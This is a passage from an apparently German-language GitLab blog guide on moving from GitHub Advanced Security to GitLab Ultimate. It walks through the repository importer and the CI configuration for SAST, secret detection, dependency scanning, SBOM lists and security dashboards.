([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/))\n\n– Sicherheitsmetriken und -einblicke\n\n\n### Unterschiede zwischen GitLab Ultimate und GitHub Advanced Security\n\n\nWährend sich GitHubs Sicherheitstools verbessert haben (mit Push Protection, die 2024 Millionen von Secrets blockiert hat), bietet GitLab Ultimate weiterhin eine tiefere DevSecOps-Integration mit Funktionen, die in GitHubs eigenständigen Produkten nicht verfügbar sind:\n\n\n* [Compliance-Frameworks und Audit-Management](https://docs.gitlab.com/ee/user/compliance/compliance_center/)\n\n* [Sicherheits-Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) über gesamte Gruppen/Organisationen\n\n* Native [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) und [API-Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n\n* Integrierter Workflow für [Schwachstellenmanagement](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/)\n\n* [Benutzerdefinierte Sicherheitsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/) mit [granularen Kontrollen](https://docs.gitlab.com/ee/user/custom_roles.html)\n\n\nDiese integrierten Funktionen bedeuten, dass Teams weniger Zeit mit dem Wechsel zwischen Tools verbringen und mehr Zeit für die Sicherung ihrer Anwendungen haben.\n\n\nGitLab Ultimate bietet auch zusätzliche Sicherheits- und Konformitätsfunktionen, Portfolio- und Wertschöpfungskettenmanagement, Unterstützung bei Live-Upgrades und mehr. Weitere Informationen zu diesen zusätzlichen Funktionen findest du in der [GitLab Ultimate-Dokumentation](https://about.gitlab.com/pricing/ultimate/).RetryClaude can make mistakes. Please double-check responses.\n\n\n### Wichtige Änderungen bei GitHub Advanced Security (2025)\n\n\nSeit April 2025 hat GitHub Advanced Security in zwei separate Produkte aufgeteilt: Secret Protection (19$/Monat pro aktivem Committer) und Code Security (30$/Monat pro aktivem Committer). Obwohl dieser modulare Ansatz kosteneffektiv erscheinen mag, benötigen Organisationen in der Regel beide Produkte für umfassende Sicherheitsabdeckung, was zu 49$/Monat pro aktivem Committer führt - wodurch GitLab Ultimates einheitlicher Ansatz für Teams, die vollständige Sicherheitsfunktionen benötigen, potenziell wirtschaftlicher ist.\n\n\nGitHub bietet diese Sicherheitsprodukte nun auch Team-Plan-Kunden ohne Enterprise-Abonnement an. GitLabs integrierte DevSecOps-Plattform bedeutet jedoch, dass Sicherheitsfunktionen vom ersten Tag an nahtlos mit CI/CD, Projektmanagement und anderen Tools zusammenarbeiten - ohne zusätzliche Käufe oder Integrationen. Diese native Integration führt oft zu schnellerer Implementierung und besseren Sicherheitsergebnissen.\n\n\n## So migrierst du ein GitHub-Repository zu GitLab\n\n\nGitLab bietet einen integrierten Importer, mit dem du deine GitHub-Projekte entweder von GitHub.com oder GitHub Enterprise nach GitLab importieren kannst. Mit dem Importer kannst du nicht nur das GitHub-Repository nach GitLab migrieren, sondern auch verschiedene andere Objekte, einschließlich Tickets, Beteiligte (Mitglieder) und Pull Requests. Eine vollständige Liste der migrierbaren Daten findest du in der [Dokumentation zum Import von Daten von GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). Die Migration wird wie folgt durchgeführt:\n\n1. Wähle oben in der linken Menüleiste **Neu erstellen (+)** aus.\n\n2. Wähle im Abschnitt **In GitLab** **Neues Projekt/Repository**aus.\n\n3. Wähle  **Projekt importieren**  aus.\n\n\n![Projektauswahl importieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n\n4. Wähle die Schaltfläche **GitHub** aus.\n       – Wenn du GitLab Self-Managed verwendest, musst du [den GitHub-Importer aktivieren](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n       – Beachte, dass andere Importer auf dieselbe Weise initiiert werden können.\n   5. Jetzt kannst du einen der folgenden Schritte ausführen:\n       – Autorisiere dich mit GitHub Oauth, indem du **Mit GitHub autorisieren** auswählst.\n       – Verwende einen persönlichen GitHub-Zugriffstoken:\n          – Gehe zu \u003Chttps://github.com/settings/tokens/new>.\n          – Gib im Feld **Hinweis** eine Token-Beschreibung ein.\n          – Wähle den **Repo**-Geltungsbereich aus.\n          – Um Beteiligte zu importieren, wähle optional den Geltungsbereich **read:org** aus.\n          – Wähle die Schaltfläche **Token generieren** aus.\n          – Füge auf der GitLab-Importseite im Feld „Persönlicher Zugriffstoken“ den persönlichen GitHub-Zugriffstoken ein.\n5. Wähle die Schaltfläche **Authentifizieren** aus.\n\n6. Wähle die Elemente aus, die du migrieren möchtest.\n\n7. Wähle die Projekte aus, die du migrieren möchtest, und wohin du sie migrieren möchtest.\n\n8. Wähle die Schaltfläche **Importieren** aus.\n\n\nDein importiertes Projekt sollte sich nun in deinem Arbeitsbereich befinden. Weitere Informationen über die Migration von GitHub zu GitLab findest du in diesem Video:\n\n\n\u003C!-- blank line -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n\nDu kannst die Migration auch mit einem [persönlichen GitHub-Zugriffstoken](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) oder der [GitLab REST API(https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api) durchführen. Der Importer ermöglicht auch den Import aus anderen Quellen wie Bitbucket oder Gitea. Weitere Informationen findest du in der [Importer-Dokumentation](https://docs.gitlab.com/ee/user/project/import/).\n\n\n\\## So migrierst du Funktion für Funktion\n\n\nIm Folgenden erfährst du, wie du die einzelnen Funktionen von GitHub Advanced Security in GitLab Ultimate nutzen kannst. Du benötigst eine [GitLab Ultimate-Lizenz](https://about.gitlab.com/pricing/ultimate/), um fortzufahren. GitLab bietet eine [kostenlose Testversion](https://about.gitlab.com/free-trial/devsecops/), um dir den Einstieg zu erleichtern.\n\n\n### Scannen von Code\n\n\nMit dem Scannen von Code bietet GitLab kontextbezogene Intelligenz von Sicherheitslücken und Ratschläge für statischen Quellcode. Das Gleiche kannst du in GitLab erreichen, indem du [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) aktivierst. GitLab SAST-Scanner decken ein breiteres Spektrum an Programmiersprachen und Frameworks ab als [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql) von GitHub.\n\n\nUm das Scannen von Code in GitLab zu aktivieren, kannst du einfach die [SAST-Vorlage](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde, erkennt SAST automatisch jedes Mal, wenn neuer Code eingecheckt wird, die [Programmiersprachen](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks), die in deinem Projekt verwendet werden. Es scannt dann den Quellcode nach bekannten Schwachstellen.\n\n\n**Hinweis:** Sicherheitsscanner können deinem Projekt auch mithilfe der \\[Sicherheitskonfiguration] von GitLab (https://docs.gitlab.com/ee/user/application_security/configuration/) hinzugefügt werden. Diese kann automatisch einen Merge Request erstellen, um deine Pipeline zu aktualisieren. Weitere Informationen findest du in der [Dokumentation zum Konfigurieren von SAST mithilfe der UI](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\n\nDie SAST-Ergebnisse zwischen dem Feature-Branch und der Zielbranch werden im Merge-Request-Widget angezeigt. Das Merge Request-Widget zeigt SAST-Ergebnisse und -Auflösungen an, die durch die Änderungen im Merge Request eingeführt wurden.\n\n\n![Sicherheits-Scanning in Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\n\nJede Sicherheitslücke zeigt Daten an, die bei der Behebung helfen, einschließlich detaillierter Beschreibung, Schweregrad, Standort und Lösungsinformationen:\n\n\n![SAST-Sicherheitslückendetails](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\n\nDu kannst Maßnahmen gegen diese Sicherheitslücken ergreifen:\n\n\n– **Sicherheitslücke ignorieren**: Ermöglicht es Entwickler(inne)n, die Sicherheitslücke mit einem Kommentar zu ignorieren. Dies unterstützt das Sicherheitsteam bei der Durchführung einer Review.\n\n– **Ticket erstellen**: Ermöglicht das Erstellen eines Tickets, um eine Sicherheitslücke zu verfolgen, die eine zusätzliche Überwachung erfordert.\n\n\nDiese Änderungen sind auch inline sichtbar, wenn du innerhalb des Merge Request zur Ansicht **Änderungen** wechselst.\n\n\n![SAST-Änderungsansicht für Sicherheitslücken](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n\n#### Anpassen von SAST-Scannern\n\n\nMit GitLab kannst du eine SAST-Jobdefinition überschreiben und Eigenschaften wie Variablen, Abhängigkeiten oder Regeln ändern. Dazu musst du einen Job mit demselben Namen erstellen, wie der SAST-Job, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an.\n\n\nEin Beispiel ist die folgende Konfiguration:\n\n– überschreibt die Version, die der ‚semgrep-sast‘-Scanner verwendet\n\n– führt ein Skript aus, um Module aus privaten Projekten abzurufen, bevor ‚gosec-sast‘ ausgeführt wird \n\n– konfiguriert alle Scanner so, dass sie in einer maximalen Tiefe von 10 suchen\n\n\n```yaml\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n  variables:\n    SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n  before_script:\n    - |\n      cat \u003C\u003CEOF > ~/.netrc\n      machine gitlab.com\n      login $CI_DEPLOY_USER\n      password $CI_DEPLOY_PASSWORD\n      EOF\n```\n\n\n**Hinweis:** Die verfügbaren SAST-Jobs findest du in der [Vorlage ‚SAST.gitlab-ci.yml‘](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Konfigurationen findest du in der [Dokumentation für verfügbare SAST CI/CD Variablen](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n\n#### Anpassen von SAST-Regelsätzen\n\n\nFür jeden SAST-Analysator verarbeitet GitLab den Code und verwendet dann Regeln, um mögliche Schwachstellen im Quellcode zu finden. Diese Regeln bestimmen, welche Arten von Schwachstellen der Scanner meldet.\n\n\n– Für Semgrep-basierte SAST-Scanner erstellt, pflegt und unterstützt GitLab die verwendeten Regeln. Es kombiniert die Open-Source-Engine Semgrep, von GitLab verwaltete Erkennungsregeln und die proprietäre Technologie von GitLab für das Verfolgen von Sicherheitslücken und die Erkennung von falschen positiven Ergebnissen.\n\n– Für andere SAST-Analysatoren werden die Regeln in den Upstream-Projekten für jeden Scanner definiert.\n\n\nDu kannst das Verhalten der SAST-Scanner anpassen, indem du eine Regelsatz-Konfigurationsdatei im gescannten Repository definierst:\n\n– Vordefinierte Regeln deaktivieren (für alle Analysatoren verfügbar)\n\n– Vordefinierte Regeln überschreiben (für alle Analysatoren verfügbar)\n\n– Vordefinierte Regeln ersetzen, indem du eine benutzerdefinierte Konfiguration mithilfe von Passthroughs synthetisierst\n\n\nWeitere Informationen und Beispiele zum Konfigurieren von SAST-Regeln findest du in den [SAST-Regeln](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) und in der [Dokumentation zum Anpassen von Regelsätzen](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n\n### Geheimnissuche\n\n\nDas GitHub-Feature Geheimnissuche findet, blockiert und widerruft durchgesickerte Geheimnisse. Das Gleiche kannst du in GitLab erreichen, indem du die Funktion [Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/) aktivierst.\n\n\nUm die Erkennung von Geheimnissen in GitLab zu aktivieren, kannst du einfach die folgende Vorlage zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde, scannt der Geheimnisscanner jedes Mal, wenn neuer Code eingecheckt wird (oder eine Pipeline ausgeführt wird), den Quellcode auf bekannte Geheimnisse. Je nach Situation scannt die Erkennung von Geheimnissen für Pipelines verschiedene Aspekte deines Codes. Für alle Methoden außer dem „Standard-Branch“ scannt die Erkennung von Geheimnissen für Pipelines Commits, nicht den Arbeitsbaum. Weitere Informationen zur Geheimnissuche findest du in der [Dokumentation zur Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage).\n\n\nWenn du einen Merge Request erstellst, scannt die Funktion Erkennung von Geheimnissen jeden Commit, der im Quellbranch vorgenommen wurde. Genau wie in SAST liefert jede erkannte Sicherheitslücke die folgenden Informationen (z. B. Standort) und Bezeichner, um den Behebungsprozess zu unterstützen:\n\n\n![Sicherheitslückendetails für die Erkennung von Geheimnissen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\n\nÄhnlich wie bei SAST kannst du Maßnahmen gegen diese Sicherheitslücken direkt aus der Merge Request heraus ergreifen, einschließlich des Ignorierens von Sicherheitslücken und des Erstellens von Tickets.\n\n\n#### Anpassen von Jobs der Erkennung von Geheimnissen\n\n\nMit GitLab kannst du eine Jobdefinition der Erkennung von Geheimnissen überschreiben, sodass du Eigenschaften wie Variablen, Abhängigkeiten oder Regeln ändern kannst. Dazu musst du einen Job mit demselben Namen erstellen, wie der Job zur Erkennung von Geheimnissen, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an. Ein Beispiel ist die folgende Konfiguration:\n\n\n– überschreibt die Phase, auf der der Job zur Erkennung von Geheimnissen ausgeführt wird, zu  ‚security‘\n\n– ermöglicht Verlaufsscans\n\n– ändert die Analysatorversion für Geheimnisse auf 4.5\n\n\n```yaml\n\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  stage: security\n  variables:\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n    SECRETS_ANALYZER_VERSION: \"4.5\"\n```\n\n\n**Hinweis:** Die verfügbaren Jobs zur Erkennung von Geheimnissen findest du in der [Vorlage SAST.gitlab-ci.yml](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Verfügbare Konfigurationen findest du in der [Dokumentation zu verfügbaren CI/CD-Variablen der Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n\n#### Anpassen von Regeln für die Erkennung von Geheimnissen\n\n\nMit dem Analysator für die Erkennung von Geheimnissen kannst du anzupassen, welche Geheimnisse in der GitLab-UI gemeldet werden. Die folgenden Anpassungsoptionen können einzeln oder in Kombination verwendet werden:\n\n\n– vordefinierte Regeln deaktivieren\n\n– vordefinierte Regeln überschreiben\n\n– eine benutzerdefinierte Konfiguration synthetisieren\n\n– eine Remote-Konfigurationsdatei spezifizieren\n\n\nWenn du zum Beispiel die Datei ‚.gitlab/secret-detection-ruleset.toml‘ im Stammverzeichnis deines Projekts erstellst, wird das Standard-GitLeaks-Paket erweitert, sodass Testtoken von der Erkennung ausgeschlossen werden:\n\n\n```yaml\n\n### extended-gitleaks-config.toml\n\ntitle = \"extension of gitlab's default gitleaks config\"\n\n\n[extend]\n\n### Extends default packaged path\n\npath = \"/gitleaks.toml\"\n\n\n[allowlist]\n  description = \"allow list of test tokens to ignore in detection\"\n  regexTarget = \"match\"\n  regexes = [\n    '''glpat-1234567890abcdefghij''',\n  ]\n```\n\n\nWeitere Informationen zum Überschreiben der vordefinierten Analysatorregeln findest du in der [Dokumentation zur Erkennung von Geheimnissen](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n\n#### Automatische Reaktion auf durchgesickerte Geheimnisse\n\n\nDie Funktion zur Erkennung von Geheimnissen von GitLab reagiert automatisch, wenn sie bestimmte Arten von durchgesickerten Geheimnissen findet. Automatische Antworten können:\n\n– das Geheimnis automatisch widerrufen\n\n– den Partner, der das Geheimnis ausgestellt hat, benachrichtigen; der Partner kann dann das Geheimnis widerrufen, seine(n) Eigentümer(in) benachrichtigen oder sich auf andere Weise vor Missbrauch schützen\n\n\nGitLab kann Partner auch benachrichtigen, wenn von ihnen ausgestellte Anmeldeinformationen in öffentlichen Repositorys auf GitLab.com durchgesickert sind. Wenn du ein Cloud- oder SaaS-Produkt betreibst und diese Benachrichtigungen erhalten möchtest, kannst du eine Partner-API implementieren, die von der GitLab Token Revocation API aufgerufen wird.\n\n\nWeitere Informationen findest du in der [Dokumentation zu automatischen Antworten für durchgesickerte Geheimnisse](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html).\n\n\n### Sicherheit der Lieferkette\n\n\nMit GitHub kannst du Software-Lieferketten mit automatisierten Sicherheits- und Versionsaktualisierungen und SBOMs mit einem Klick sichern, verwalten und Berichte darüber erstellen. GitLab kann deine Sicherheitsbedürfnisse in der Lieferkette mithilfe der Funktionen der Abhängigkeitssuche und der Liste der Abhängigkeiten (SBOM) erfüllen.\n\n\nUm das Scannen von Abhängigkeiten in GitLab zu aktivieren, kannst du einfach die folgende Vorlage zu deiner ‚.gitlab-ci.yml‘ hinzufügen:\n\n\n```yaml\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\n\nSobald die Vorlage hinzugefügt wurde erkennt die Abhängigkeitssuche jedes Mal, wenn neuer Code eingecheckt wird, automatisch die [Paketmanager](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers), die in deinem Projekt verwendet werden. Sie scannt dann die verwendeten Abhängigkeiten auf bekannte Schwachstellen.\n\n\nDie Ergebnisse der Abhängigkeitssuche zwischen dem Feature-Branch und dem Zielbranch werden im Merge-Request-Widget angezeigt. Das Merge-Request-Widget zeigt die Ergebnisse der Abhängigkeitssuche, die durch die Änderungen im Merge Request eingeführt wurden, und schlägt Lösungen vor. Innerhalb eines Merge Request werden für jede Sicherheitslücke relevante Informationen angezeigt, die bei der Behebung hilfreich sind, wie Bezeichner, Beweise und Lösungen:\n\n\n![Sicherheitslückendetails der Abhängigkeitssuche](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\n\nÄhnlich wie bei SAST und der Erkennung von Geheimnissen kannst du Maßnahmen gegen diese Sicherheitslücken direkt aus dem Merge Request heraus ergreifen. Dazu gehören das Ignorieren von Sicherheitslücken und das Erstellen von Tickets.\n\n\n#### Konfigurieren der Abhängigkeitssuche\n\n\nUm eine Jobdefinition zu überschreiben (z. B. um Eigenschaften wie Variablen oder Abhängigkeiten zu ändern), erstellst du einen neuen Job mit dem gleichen Namen wie den, den du überschreiben willst. Platziere dann diesen neuen Job nach dem Einfügen der Vorlage und gib alle zusätzlichen Schlüssel darunter an. Ein Beispiel ist der folgende Code:\n\n\n– deaktiviert die automatische Behebung anfälliger Abhängigkeiten\n\n– erfordert einen Build-Job, der vor der Abhängigkeitssuche abgeschlossen werden muss\n\n\n```yaml\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n  variables:\n    DS_REMEDIATE: \"false\"\n  dependencies: [\"build\"]\n```\n\n\nWeitere Informationen zur Konfiguration der Abhängigkeitssuche findest du in der [Dokumentation zum Anpassen des Verhaltens des Analysators](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n\n#### Das Generieren eines SBOM\n\n\nGitLab bietet eine Liste der Abhängigkeiten (Dependency List, SBOM), mit der du die Abhängigkeiten deines Projekts oder deiner Gruppe sowie wichtige Details zu diesen Abhängigkeiten, einschließlich ihrer bekannten Sicherheitslücken, überprüfen kannst. Diese Liste ist eine Ansammlung von Abhängigkeiten in deinem Projekt, einschließlich bestehender und neuer Resultate. Die Liste der Abhängigkeiten wird generiert, nachdem die Abhängigkeitssuche erfolgreich auf dem [Standard-Branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) ausgeführt wurde. So greifst du auf die Liste der Abhängigkeiten zu:\n\n\n1. Wähle in der linken Seitenleiste **Suchen oder aufrufen** aus und suche nach deinem Projekt.\n\n2. Wähle **Sicher > Liste der Abhängigkeiten** aus.\n\n\n![Liste der Abhängigkeiten (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\n\nHier findest du die folgenden Informationen zu deinen Abhängigkeiten:\n\n\n| Feld                     | Beschreibung                                                                                                                                                                                                                                                                                                                                                                             |\n\n| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n\n| Komponente               | Name und Version der Abhängigkeit.                                                                                                                                                                                                                                                                                                                                                       |\n\n| Paketerstellungs-Manager | Der Paketerstellungs-Manager, mit dem die Abhängigkeit installiert wurde.                                                                                                                                                                                                                                                                                                                |\n\n| Standort                 | Bei Systemabhängigkeiten wird das gescannte Image aufgelistet. Bei Anwendungsabhängigkeiten wird hier ein Link zu der für den Paketerstellungs-Manager spezifischen Lock-Datei in deinem Projekt angezeigt, in der die Abhängigkeit deklariert ist. Hier wird auch der Abhängigkeitspfad zu einer übergeordneten Abhängigkeit angegeben, falls diese vorhanden ist und unterstützt wird. |\n\n| Lizenz                   | Links zu den Softwarelizenzen der Abhängigen. Ein Warnhinweis, der die Anzahl der in der Abhängigkeit erkannten Sicherheitslücken enthält.                                                                                                                                                                                                                                               |\n\n| Projekte                 | Link zum Projekt mit der Abhängigkeit. Wenn mehrere Projekte die gleiche Abhängigkeit haben, wird die Gesamtzahl der Projekte angezeigt. So öffnest du ein Projekt mit dieser Abhängigkeit: Wähle die Projektnummer aus, suche dann nach dem Namen und wähle ihn aus. Die Projektsuche wird nur bei Gruppen unterstützt, die maximal 600 Einträge in ihrer Gruppenhierarchie haben.      |\n\n\n\u003Cp>\u003C/p>\n\n\nWeitere Informationen findest du in der [Dokumentation zur Liste der Abhängigkeiten](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n\n### Sicherheits- und Konformitätsverwaltung\n\n\nMit GitHub Advanced Security kannst du Sicherheitsmetriken und -einblicke anzeigen und das Sicherheitsrisiko von Code bewerten. Wir sehen uns jetzt an, wie man das gleiche mit GitLab Ultimate macht.\n\n\n#### Anzeigen von Sicherheitsmetriken und -einblicken\n\n\nGitLab bietet [Sicherheits-Dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/), mit denen du den Sicherheitsstatus deiner Anwendungen bewerten kannst. Diese Dashboards zeigen eine Sammlung von Metriken, Bewertungen und Diagrammen für die von den Sicherheitsscannern in deinem Projekt erkannten Sicherheitslücken:\n\n\n– Sicherheitslückentrends über einen Zeitraum von 30, 60 oder 90 Tagen für alle Projekte in einer Gruppe\n\n– eine Einstufung für jedes Projekt nach der Schwere der Sicherheitslücke\n\n– die Gesamtzahl der in den letzten 365 Tagen entdeckten Sicherheitslücken, einschließlich ihres Schweregrads\n\n\nSo greifst du auf das Sicherheits-Dashboard zu:\n\n\n1. Wähle in der linken Menüleiste **Suchen oder aufrufen** und suche nach deinem Projekt oder deiner Gruppe.\n\n2. Wähle auf dem seitlichen Tab das Dashboard **Sicher > Sicherheit** aus.\n\n3. Filtere und suche nach dem, was du brauchst.\n\n\nDie Gruppenansicht zeigt deine Sicherheitslage für alle Projekte in deiner Gruppe an:\n\n\n![Dashboard Gruppensicherheit](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\n\nDie Projektansicht zeigt deine Sicherheitslage nur für das Projekt an:\n\n\n![Dashboard Projektsicherheit](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n\n#### Beurteile das Sicherheitsrisiko des Codes\n\n\nGitLab Ultimate verfügt über einen [Sicherheitslückenbericht](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), der Informationen über Sicherheitslücken aus Scans des Standard-Branchs enthält. Er enthält kumulative Ergebnisse aller erfolgreichen Jobs, unabhängig davon, ob die Pipeline erfolgreich war. Der Sicherheitslückenbericht enthält auf allen Ebenen:\n\n\n– Die Gesamtanzahl der Sicherheitslücken pro Schweregrad\n\n– Filter für gängige Attribute für Sicherheitslücken\n\n– Details zu jeder Sicherheitslücke, dargestellt in einem tabellarischen Layout\n\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\n\nWenn du auf eine Sicherheitslücke klickst, gelangst du zur [Seite der Sicherheitslücke](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), die Details zu der Sicherheitslücke enthält, wie z. B. eine Beschreibung, den Ort, die Bezeichner und mehr. Nachfolgend findest du ein Beispiel für die Seite einer SQL Injection-Sicherheitslücke, die von unserem SAST-Scanner erkannt wurde:\n\n\n![Seite einer SQL Injection-Sicherheitslücke](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\n\nAuf dieser Seite kann das Sicherheitsteam zusammenarbeiten, indem es [den Status einer Sicherheitslücke](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability) zusammen mit einer Begründung ändert und [Tickets erstellt, um Änderungen besser verfolgen zu können](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\n\nAuf der Seite der Sicherheitslücke kannst du auch [GitLab Duo](https://about.gitlab.com/gitlab-duo/), unsere KI-gestützte Suite von Funktionen, nutzen. Es kann dir die Sicherheitslücke erklären und [automatisch einen Merge Request für die Behebung der Sicherheitslücke erstellen](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\n\nDie \\[Erklärung der Sicherheitslücke] von GitLab Duo (https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) verwendet ein umfangreiches Sprachmodell, um:\n\n\n– Die Sicherheitslücke zusammenzufassen\n\n– Entwickler(inne)n und Sicherheitsanalyst(inn)en zu helfen, die Sicherheitslücke zu verstehen und wie sie ausgenutzt und behoben werden kann,\n\n– Eine vorgeschlagene Abhilfemaßnahme vorzuschlagen\n\n\n![Erklärung einer SQL Injection von der GitLab Duo-KI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n\n## Zusätzliche GitLab Ultimate-Sicherheitsfunktionen\n\n\nGitLab Ultimate enthält viele weitere Sicherheitsfunktionen, die in GitHub Advanced Security nicht vorhanden sind. Einige Beispiele für diese zusätzlichen Sicherheitsfunktionen sind: zusätzliche Sicherheitsscanner für den gesamten Lebenszyklus der Softwareentwicklung (SDLC), granulare Sicherheitsleitlinien und benutzerdefinierte Berechtigungen.\n\n\n### Sicherheitsscanner für den gesamten SDLC\n\n\nUnser Portfolio an Sicherheitsscannern erstreckt sich über den kompletten SDLC.\n\n\n| Name des Scanners                                                                                                   | Scans                                            | Gescannte Sprachen/Dateien                            |\n\n| ------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------------------------------------- |\n\n| [Statische Anwendungssicherheitstests (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)           | Statischer Quellcode                             | C/C++, Java, Python, Go, JavaScript, C# und weitere   |\n\n| [Dynamische Anwendungssicherheitstests (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)          | Ausgeführte Webanwendung, Live-API               | Sprachunabhängig                                      |\n\n| [Scannen von Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)      | IaC-Dateien                                      | Terraform, AWS Cloud Formation, Ansible, und weitere  |\n\n| [Container-Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)                      | Statische und ausgeführte Container-Images       | Dockerfile                                            |\n\n| [Abhängigkeitssuche und Lizenz-Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Anwendungsabhängigkeiten                         | Requirements.txt, Yarn, Gradle, Npm und weitere       |\n\n| [Web-API-Fuzz-Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)                           | Sendet zufällige/falsche Daten an die Web-API    | OpenAPI, GraphQL, HAR, Postman Collection             |\n\n| [Abdeckungsgesteuertes Fuzz-Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)        | Sendet zufällige/fehlerhafte Daten an Funktionen | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\n\u003Cp>\u003C/p>\n\n\nGitLab ermöglicht auch die Integration von [Drittanbieter-Scannern](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) und [benutzerdefinierten Scannern](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) in die Plattform. Nach der Integration werden die Scannerergebnisse automatisch an verschiedenen Stellen in GitLab angezeigt, z. B. in der Pipeline-Ansicht, im Merge-Request-Widget und im 